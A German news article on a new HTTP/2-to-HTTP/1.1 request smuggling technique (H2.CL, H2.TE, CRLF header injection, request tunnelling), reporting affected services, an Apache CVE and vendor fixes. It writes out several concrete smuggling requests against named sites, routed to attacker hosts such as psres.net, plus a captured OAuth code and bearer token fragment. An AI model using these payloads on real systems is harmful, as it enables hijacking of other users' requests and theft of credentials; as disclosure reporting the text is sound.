Websysteme, bei denen das Frontend Verbindungen über HTTP/2 aufnimmt und an das Backend über HTTP/1.1 weitergibt, sind anfällig für eine neue Variante des Angriffs "HTTP Request Smuggling". Dieser ermöglicht es, durch das Senden speziell gestalteter Kundenanfragen in den Inhalt von Anfragen anderer Benutzer einzudringen, die im selben Stream zwischen Frontend und Backend verarbeitet werden. Der Angriff kann verwendet werden, um bösartigen JavaScript-Code in eine Sitzung mit einer legitimen Webseite einzufügen, Zugangsbeschränkungssysteme zu umgehen und Authentifizierungsparameter abzufangen.
Web-Proxys, Lastenausgleicher, Web-Beschleuniger, Content Delivery Systeme und andere Konfigurationen, bei denen Anfragen gemäß dem Frontend-Backend-Schema umgeleitet werden, sind anfällig für Probleme. Der Autor der Studie zeigte die Möglichkeit eines Angriffs auf Systeme wie Netflix, Verizon, Bitbucket, Netlify CDN und Atlassian und erhielt 56.000 Dollar in Belohnungsprogrammen für die Entdeckung von Sicherheitsanfälligkeiten. Das Problem wurde auch in Produkten von F5 Networks bestätigt. Teilweise betrifft das Problem mod_proxy im Apache HTTP-Server (CVE-2021-33193); eine Behebung wird in der Version 2.4.49 erwartet (die Entwickler wurden Anfang Mai über das Problem informiert und hatten drei Monate Zeit zur Behebung). Bei nginx wurde die gleichzeitige Angabe der Header "Content-Length" und "Transfer-Encoding" in der letzten Version (1.21.1) blockiert. Mittel zur Durchführung von Angriffen wurden bereits zum Burp-Toolkit hinzugefügt und sind in Form eines Turbo Intruder-Plugins verfügbar.
Das Prinzip der neuen Methode zur Einspeisung von Anfragen in den Verkehr ähnelt einer Schwachstelle, die vor zwei Jahren von demselben Forscher entdeckt wurde, jedoch beschränkt auf Frontends, die Anfragen über HTTP/1.1 entgegennehmen. Zur Erinnerung: In dem Frontend-Backend-Schema nimmt ein zusätzlicher Knoten — das Frontend — die Kundenanfragen entgegen und stellt eine langfristige TCP-Verbindung zum Backend her, das die Anfragen direkt bearbeitet. Über diese gemeinsame Verbindung werden normalerweise die Anfragen verschiedener Benutzer übertragen, die hintereinander in einer Kette mit einer Trennung durch die HTTP-Protokollmittel folgen.
Bei einem klassischen Angriff namens „HTTP Request Smuggling“ interpretieren Front- und Backends die HTTP-Header „Content-Length“ (definiert die Gesamtdatengröße der Anfrage) und „Transfer-Encoding: chunked“ (ermöglicht die Übertragung von Daten in Teilen) unterschiedlich. Zum Beispiel, wenn das Frontend nur „Content-Length“ unterstützt, aber „Transfer-Encoding: chunked“ ignoriert, kann ein Angreifer eine Anfrage senden, in der die Header „Content-Length“ und „Transfer-Encoding: chunked“ gleichzeitig angegeben sind, jedoch die Größe in „Content-Length“ nicht mit der Größe der chunked-Daten übereinstimmt. In diesem Fall wird das Frontend die Anfrage gemäß „Content-Length“ verarbeiten und weiterleiten, während das Backend aufgrund von „Transfer-Encoding: chunked“ auf das Ende des Blocks wartet, sodass der verbleibende Teil der Anfrage des Angreifers am Anfang der nachfolgenden, echten Anfrage landet.
Im Gegensatz zum textbasierten Protokoll HTTP/1.1, das zeilenweise analysiert wird, ist HTTP/2 ein binäres Protokoll, das mit Datenblöcken fester Größe arbeitet. Dabei verwendet HTTP/2 Pseudo-Header, die normalen HTTP-Headern entsprechen. Bei der Interaktion mit dem Backend über das Protokoll HTTP/1.1 wandelt das Frontend diese Pseudo-Header in entsprechende HTTP/1.1-Header um. Das Problem besteht darin, dass das Backend bereits auf Basis der vom Frontend bereitgestellten HTTP-Header über die Verarbeitung des Streams entscheidet, ohne Informationen über die Parameter der ursprünglichen Anfrage zu haben.
Unter anderem können im Rahmen von Pseudo-Headern die Werte "content-length" und "transfer-encoding" übertragen werden, obwohl sie in HTTP/2 nicht verwendet werden, da die Größe aller Daten in einem separaten Feld definiert wird. Dennoch werden diese Header beim Umwandeln einer HTTP/2-Anfrage in HTTP/1.1 übertragen und können das Backend in die Irre führen. Es gibt zwei Hauptangriffsvarianten: H2.TE und H2.CL, bei denen das Backend durch einen inkorrekten Wert für transfer-encoding oder content-length, der nicht mit der tatsächlichen Größe des Anfragekörpers übereinstimmt, der an das Frontend über HTTP/2 gesendet wurde, in die Irre geführt wird.
Ein Beispiel für den Angriff H2.CL ist die Angabe einer falschen Größe im Pseudo-Header content-length, während eine HTTP/2-Anfrage an Netflix gesendet wird. Diese Anfrage führt zur Hinzufügung eines ähnlichen HTTP-Headers Content-Length, wenn eine Anfrage an das Backend über HTTP/1.1 gerichtet wird. Da die Größe im Content-Length jedoch kleiner angegeben ist als die tatsächliche, wird ein Teil der Daten am Ende als Beginn der nächsten Anfrage behandelt.
Zum Beispiel, HTTP/2 Anfrage: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Dies führt zu einer Anfrage an das Backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Da der Content-Length-Wert 4 beträgt, wird das Backend nur 'abcd' als Anfragebody interpretieren, während der Rest 'GET /n HTTP/1.1…' als Beginn einer nachfolgenden Anfrage behandelt, die an einen anderen Benutzer gebunden ist. Infolgedessen kommt es zu einer Desynchronisation des Streams, und als Antwort auf die nachfolgende Anfrage wird das Ergebnis der Verarbeitung der gefälschten Anfrage ausgegeben. Im Fall von Netflix führte die Angabe eines externen Hosts im Header 'Host:' der gefälschten Anfrage dazu, dass der Kunde die Antwort 'Location: https://02.rs?x.netflix.com/n' erhielt und beliebige Inhalte übermittelt bekam, einschließlich der Möglichkeit, eigenen JavaScript-Code im Kontext der Netflix-Website auszuführen.
Die zweite Angriffsart (H2.TE) bezieht sich auf die Verwendung des Headers „Transfer-Encoding: chunked“. Die Verwendung des Pseudo-Headers Transfer-Encoding in HTTP/2 ist gemäß der Spezifikation verboten, und Anfragen mit diesem Header sollten als ungültig betrachtet werden. Trotzdem ignorieren einige Frontend-Implementierungen dieses Erfordernis und erlauben die Nutzung des Pseudo-Headers Transfer-Encoding in HTTP/2, was in den entsprechenden HTTP-Header umgewandelt wird. Ist der Header „Transfer-Encoding“ vorhanden, könnte das Backend ihn als vorrangig interpretieren und die Daten im „chunked“-Modus mit unterschiedlich großen Blöcken im Format „{Größe}\r\n{Block}\r\n{Größe}\r\n{Block}\r\n0“ parsen, trotz der ursprünglichen Aufteilung nach der Gesamtgröße.
Eine solche Sicherheitslücke wurde am Beispiel des Unternehmens Verizon demonstriert. Dabei betraf das Problem das Authentifizierungsportal und Content-Management-System, das auch auf Seiten wie Huffington Post und Engadget verwendet wird. Zum Beispiel eine Anfrage eines Clients über HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Es wurde ein HTTP/1.1-Anfrage-Backend-Transfer ausgelöst: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Das Backend ignorierte seinerseits den Header „Content-Length“ und führte die Trennung im Stream basierend auf „Transfer-Encoding: chunked“ durch. In der Praxis ermöglichte der Angriff die Umleitung von Benutzeranfragen auf eigene Seiten sowie das Abfangen von Anfragen, die mit OAuth-Authentifizierung verbunden waren, deren Parameter im Referer-Header sichtbar waren, und die Simulation einer Authentifizierungssitzung, um die Übermittlung von Benutzerdaten an den Angreifer-Host auszulösen. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Für Angriffe auf HTTP/2-Implementierungen, die die Angabe des Pseudo-Headers „transfer-encoding“ nicht zulassen, wurde eine weitere Methode vorgeschlagen, die mit der Injektion des Headers „Transfer-Encoding“ durch Hinzufügen zu anderen Pseudo-Headern verbunden ist und durch das Trennzeichen für Zeilenumbrüche erfolgt (bei der Umwandlung in HTTP/1.1 in einem solchen Fall entstehen zwei separate HTTP-Header).
Beispielsweise waren Atlassian Jira und Netlify CDN (das für die Bereitstellung der Startseite von Mozilla in Firefox verwendet wird) von dem genannten Problem betroffen. Im Speziellen war die HTTP/2 Anfrage: method POST path / authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
dies führte zu einer Anfrage an das Backend in HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Eine weitere Möglichkeit, den Header „Transfer-Encoding“ zu manipulieren, bestand darin, ihn an den Namen eines anderen Pseudo-Headers oder an die Anfrage-Methode anzuhängen. Zum Beispiel führte beim Zugriff auf Atlassian Jira der Pseudo-Header „foo: bar\r\ntransfer-encoding“ mit dem Wert „chunked“ zur Hinzufügung der HTTP-Header „foo: bar“ und „transfer-encoding: chunked“. Die Angabe des Pseudo-Headers „:method“ mit dem Wert „GET / HTTP/1.1\r\nTransfer-encoding: chunked“ wurde in „GET / HTTP/1.1\r\ntransfer-encoding: chunked“ umgewandelt.
Der Forscher, der das Problem identifizierte, schlug außerdem eine Bedrohungstechnik für die Tunnelung von Anfragen vor, um Angriffe auf Frontends durchzuführen, in denen für jede IP-Adressen Es wird eine separate Verbindung zum Backend hergestellt, und der Datenverkehr verschiedener Benutzer wird nicht vermischt. Die vorgeschlagene Technik erlaubt es nicht, sich in die Anfragen anderer Benutzer einzuklinken, bietet aber die Möglichkeit, den gemeinsamen Cache zu manipulieren, was die Verarbeitung anderer Anfragen beeinflusst, und ermöglicht die Anpassung interner HTTP-Header, die zum Übertragen von Dienstinformationen vom Frontend zum Backend verwendet werden (zum Beispiel können beim Authentifizieren auf der Frontend-Seite Informationen über den aktuellen Benutzer in solchen Headers an das Backend übermittelt werden). Ein praktisches Beispiel für die Anwendung der Methode ist, dass durch Cache-Manipulation Kontrolle über Seiten im Bitbucket-Service erlangt wurde.
Quelle: opennet.ru
